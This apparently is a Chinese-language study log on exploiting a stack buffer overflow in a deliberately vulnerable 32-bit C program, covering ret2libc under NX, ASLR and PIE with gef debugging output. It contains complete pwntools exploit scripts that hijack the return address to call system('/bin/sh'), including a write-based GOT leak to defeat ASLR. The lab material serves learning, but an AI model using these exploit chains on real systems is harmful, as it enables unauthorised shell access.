漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
#include <unistd.h>
#include <stdio.h>

void vuln_func() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char *argv[]) {
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}

开启NX,未开启ALSR和PIE

echo 0 > /proc/sys/kernel/randomize_va_space // 关闭alsr

gcc -m32 -fno-stack-protector -z noexecstack dep.c

编译得到a.out

根据源代码可以知道,这是一个很明显有缓冲区溢出漏洞,定义的数组是128,但读入了256.

修改libc为2.23

patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./a.out
patchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./a.out

确定缓冲区大小

输入一点字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gef➤  telescope
0xffffd520│+0x0000: 0x00000000 ← $esp
0xffffd524│+0x0004: 0xffffd530"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd528│+0x0008: 0x00000100
0xffffd52c│+0x000c: 0x5655555c → <vuln_func+15> add eax, 0x1a78
0xffffd530│+0x0010: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd534│+0x0014: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd538│+0x0018: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd53c│+0x001c: "aaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd540│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaabbbb\n"
0xffffd544│+0x0024: "aaaaaaaaaaaaaaaaaaaabbbb\n"
gef➤
0xffffd548│+0x0028: "aaaaaaaaaaaaaaaabbbb\n"
0xffffd54c│+0x002c: "aaaaaaaaaaaabbbb\n"
0xffffd550│+0x0030: "aaaaaaaabbbb\n"
0xffffd554│+0x0034: "aaaabbbb\n"
0xffffd558│+0x0038: "bbbb\n"
0xffffd55c│+0x003c: 0x00000a ("\n"?)
0xffffd560│+0x0040: 0x00000000
0xffffd564│+0x0044: 0x2c307d ("}0,"?)
0xffffd568│+0x0048: 0x00000001
0xffffd56c│+0x004c: 0xf7ffc9000x00000000
gef➤
0xffffd570│+0x0050: 0xffffd5c00xffffd5e00x00000001
0xffffd574│+0x0054: 0x00000000
0xffffd578│+0x0058: 0x01000000
0xffffd57c│+0x005c: 0xc3442600
0xffffd580│+0x0060: 0x000009 ("\t"?)
0xffffd584│+0x0064: 0xffffd7ba"/home/ubuntu/pwn/a.out"
0xffffd588│+0x0068: 0xf7e15679 → <__new_exitfn+9> add ebx, 0x1a7987
0xffffd58c│+0x006c: 0xf7fc08080x00000000
0xffffd590│+0x0070: 0xf7fbd0000x001d7d8c
0xffffd594│+0x0074: 0xf7fbd0000x001d7d8c
gef➤
0xffffd598│+0x0078: 0x00000000
0xffffd59c│+0x007c: 0xf7e157db → <__internal_atexit+59> add esp, 0x10
0xffffd5a0│+0x0080: 0xf7fbd3fc0xf7fbe2000x00000000
0xffffd5a4│+0x0084: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]
0xffffd5a8│+0x0088: 0xffffd67c0xffffd7d1"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
0xffffd5ac│+0x008c: 0x5655561b → <__libc_csu_init+75> add edi, 0x1
0xffffd5b0│+0x0090: 0x00000001
0xffffd5b4│+0x0094: 0x56556fd4 → <_GLOBAL_OFFSET_TABLE_+0> fcomp QWORD PTR [esi]
0xffffd5b8│+0x0098: 0xffffd5c80x00000000 ← $ebp

0xffffd5b8 - 0xffffd520 = 152

为什么出不来书上的效果…pattern create 150那个

为什么书上的和自己运行的不一样? 哪里有区别?

因为减错了,应该0xffffd5b8 - 0xffffd530 = 136才对,再+4, 140覆盖掉ebp,然后下面的就是eip了

通过gef自带的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gef➤  pattern create 150
[+] Generating a pattern of 150 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/ubuntu/pwn/a.out
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fd8000'
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma

Program received signal SIGSEGV, Segmentation fault.
0x6261616b in ?? ()
gef➤ pattern offset 0x6261616b
[+] Searching for '0x6261616b'
[+] Found at offset 140 (little-endian search) likely
[+] Found at offset 1004 (big-endian search)

构造exp

整理思路就是返回地址设置为 system,然后给一个参数/bin/sh就好了

问题就是寻找它俩的地址,关闭ALSR的情况下,libc的地址是固定的,可以在调试中确认system和/bin/sh的地址

1
2
3
4
5
6
gef➤  p system
$1 = {int (const char *)} 0xf7e57db0 <__libc_system>
gef➤ search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so'(0xf7e1d000-0xf7fcd000), permission=r-x
0xf7f78b2b - 0xf7f78b32"/bin/sh"

给的exp同样会有问题(注意 system和/bin/sh地址要根据实际情况修改,修改了也不行

[*] Got EOF while sending in interactive

默认开启了其他保护?????? gcc的问题???

1
2
3
4
5
6
7
8
root@VM-24-10-ubuntu:/home/ubuntu/pwn# python3 exp1.py
[+] Starting local process './a.out': pid 5096
[*] '/home/ubuntu/pwn/a.out'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

gcc -m32 -fno-stack-protector -z noexecstack -z norelro dep.c -fno-pie -no-pie -o a.out

全关了也不行啊

libc的保护为什么不影响呢??

1
2
3
4
5
6
gef➤  p system
$2 = {int (const char *)} 0xf7e223d0 <__libc_system>
gef➤ search-pattern "/bin/sh"
[+] Searching '/bin/sh' in memory
[+] In '/lib/i386-linux-gnu/libc-2.27.so'(0xf7de5000-0xf7fba000), permission=r-x
0xf7f631db - 0xf7f631e2"/bin/sh"

调试一下,这种如何调试呢??????

0xf7e57db0

0xf7f78b2b

不知道为什么,重新编译了一遍就好了….太奇怪了

如何动态获取这俩地址呢?

system_addr = libc.sym[‘system’] 这样是不行的,这个获取的是在libc里面的偏移,需要获取libc的加载地址

需要基地址,基地址怎么获取呢? 如果没开启ALSR和PIE的话,可以通过调试获取,pwntools里不能直接获取吗?

1
2
3
4
5
6
7
8
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x8047000 0x8048000 0x000000 rw- /home/ubuntu/pwn/a.out
0x8048000 0x8049000 0x001000 r-x /home/ubuntu/pwn/a.out
0x8049000 0x804a000 0x001000 rw- /home/ubuntu/pwn/a.out
0xf7e1c000 0xf7e1d000 0x000000 rw-
0xf7e1d000 0xf7fcd000 0x000000 r-x /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so

0xf7e1d000 + 0x3adb0 = 0xf7e57db0 这样就对上了

system_addr = 0xf7e1d000 + libc.sym[‘system’] 就可以得到system的地址了

但是 binsh_addr = 0xf7e1d000 + libc.search(b’/bin/sh’) 这个不会,会报错

oooooo需要加一个next

binsh_addr = 0xf7e1d000 + next(libc.search(b’/bin/sh’))

最后exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
log_level = "debug"

io = process('./a.out')
libc = ELF("/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")

ret = 0xdeadbeef
system_addr = 0xf7e1d000 + libc.sym['system']
binsh_addr = 0xf7e1d000 + next(libc.search(b'/bin/sh'))
#system_addr = 0xf7e57db0
#binsh_addr = 0xf7f78b2b
payload = b"A" * 140 + p32(system_addr) + p32(ret) + p32(binsh_addr)

io.send(payload)
io.interactive()

在此基础之上,开启ALSR

echo 2 > /proc/sys/kernel/randomize_va_space

gcc -m32 -fno-stack-protector -z noexecstack -no-pie dep.c -o nopie.out

echo 2 > /proc/sys/kernel/randomize_va_space

cp ../glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6 ./

ASLR改变的是堆、栈、共享库(libc等)的位置,程序本身的地址是不变的,也就是vuln_func,main等这些地址.

构造exp

那为啥exp中的write也是不变的呢??????因为这个write是plt中的write,不是libc中的,所以和延迟绑定有关?

0x8048320是write的地址,它是plt表的地址,所以,什么是plt表呢?

1
2
3
.plt:08048320 _write          proc near               ; CODE XREF: main+2D↓p
.plt:08048320 jmp ds:off_804A014
.plt:08048320 _write endp

关于plt表

https://blog.csdn.net/qq_38350702/article/details/123387642

所以说应该是plt表地址我们是知道的,但是got不知道,通过plt泄露got,进而得到system的got

因为system不在plt里,无法直接用system的plt

思路就是先用write泄露write在内存中的位置,然后利用write在libc中和system的偏移,进行计算system和/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

io = process('./nopie.out')
elf = ELF('./nopie.out')
libc = ELF('./libc.so.6')

vuln_func = 0x0804843b //vuln_func

payload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)

io.send(payload1)

write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))

payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)

io.send(payload2)
io.interactive()

书里给的有问题,总感觉少了什么条件,exp跑不通

[] Switching to int eractive mode
[
] Got EOF while reading in interactive

为什么第一个exp不行,这个链接里的就可以??,进行分析

https://blog.csdn.net/weixin_44644249/article/details/113620457

首先先把payload进行输出

payload1和2

b’AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \x83\x04\x08;\x84\x04\x08\x01\x00\x00\x00\x14\xa0\x04\x08\x04\x00\x00\x00’
b’BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\xb0\xdd\xd8\xf7;\x84\x04\x08+\xeb\xea\xf7’

然后再看成功的

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk ƒ\x04V„\x04\x00\x00 \x04\x04\x00
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaajunk°à÷junk+»ò÷

所以应该是编码问题?? 或者是作者用的python2?? 是python2和3的问题??

只能说自己太蠢了,(也想吐槽作者写的不好,不该写死的东西干嘛要写死,自己又没给二进制文件)

当然更重要的是,不能照抄别人的,要对exp的每一行的含义都了如指掌才可以!!!

作者在exp中给的 vuln_func的地址是写死的,但事实上自己编译的话肯定会有不同,所以需要根据实际情况修改, 或者直接动态获取,不要写死!!!

0x080484a5 <+26>: e8 ac ff ff ff call 0x8048456

exp修改的部分为vuln_func = elf.sym[“vuln_func”]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

io = process('./nopie.out')
elf = ELF('./nopie.out')
libc = ELF('./libc.so.6')

vuln_func = elf.sym["vuln_func"]

payload1 = b"A" * 140 + p32(elf.sym['write']) + p32(vuln_func) + p32(1) + p32(elf.got['write']) + p32(4)

io.send(payload1)

write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search(b'/bin/sh'))

payload2 = b"B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)

io.send(payload2)
io.interactive()

在此基础之上,开启PIE

开启了pie后,程序的加载地址就不是固定的0x8048000了,所以直接用elf.sym[“vuln_func”] 是不行的,需要知道是从哪里开始加载的了

gcc -m32 -fno-stack-protector -z noexecstack -pie -fno-pie dep.c -o pie.out

patchelf –set-interpreter /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-linux.so.2 ./pie.out
patchelf –set-rpath /home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ ./pie.out

1
2
3
4
加载的时候,每次地址就不一样了

0x565555a3 <main+17> call 0x5655556d <vuln_func>
0x5655556d <vuln_func>: 0x81e58955

结果..加载的地址每次还是一样的,经过排查是gdb的问题

为什么gdb调试的时候,它的main的地址是不变的??? 运行的时候就是变的了????

https://blog.csdn.net/weixin_43350880/article/details/98869099

因为gdb是默认关闭aslr的,通过在gdb中输入命令aslr on开启,然后每次加载的地址就不一样了

1
2
3
4
5
6
7
8
9
10
11
0x56630000 0x56631000 0x000000 r-x /home/ubuntu/pwn/pie.out
0x56631000 0x56632000 0x000000 r-- /home/ubuntu/pwn/pie.out
0x56632000 0x56633000 0x001000 rw- /home/ubuntu/pwn/pie.out

0x56613000 0x56614000 0x000000 r-x /home/ubuntu/pwn/pie.out
0x56614000 0x56615000 0x000000 r-- /home/ubuntu/pwn/pie.out
0x56615000 0x56616000 0x001000 rw- /home/ubuntu/pwn/pie.out

0x565f3000 0x565f4000 0x000000 r-x /home/ubuntu/pwn/pie.out
0x565f4000 0x565f5000 0x000000 r-- /home/ubuntu/pwn/pie.out
0x565f5000 0x565f6000 0x001000 rw- /home/ubuntu/pwn/pie.out

这样的话,elf.sym[“vuln_func”] 就不能用了,因为有一块随机加载的偏移,需要想办法泄露

假设我们已经泄露了

(在dep.c中加入 printf(“main addr: %p”,&main); 但是捏,这个有问题,问题就是哪怕你把它加在了前面,它也是后输出的,这是为什么呢,我们假设的应该是先得到这个地址,然后给vuln_func发送payload

1
2
3
4
5
6
7
8
int main(int argc, char *argv[]) {
printf("main addr: %p",&main);
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);
}

Hello world!
main addr: 0x5658c5d2

write

这个应该是和缓冲区什么的有关

https://oomake.com/question/2542933

printf带缓冲区,所以要等缓冲区满或者遇到换行符才会输出,write不带缓冲区,直接就输出了

加一个换行符就可以了

printf(“main addr: %p\n”,&main);

exp

这里假设了会泄漏main的地址,我们加一行代码就直接打印出来了,

printf(“%p\n”,&main);

然后接收main的地址,其他的思路就差不多了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

io = process('./pie.out')
elf = ELF('./pie.out')
libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')

main_addr = int(io.recvline(), 16)
base_addr = main_addr - elf.sym['main']
vuln_func = base_addr + elf.sym['vuln_func']
plt_write = base_addr + elf.sym['write']
got_write = base_addr + elf.got['write']

ebx = base_addr + 0x2000 # GOT address

payload1 = "A"*132 + p32(ebx) + "AAAA" + p32(plt_write) + p32(vuln_func) + p32(1) + p32(got_write) + p32(4)

io.send(payload1)

write_addr = u32(io.recv())
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))

payload2 = "B" * 140 + p32(system_addr) + p32(vuln_func) + p32(binsh_addr)

io.send(payload2)
io.interactive()

如果printf有其他字母呢,怎么接收?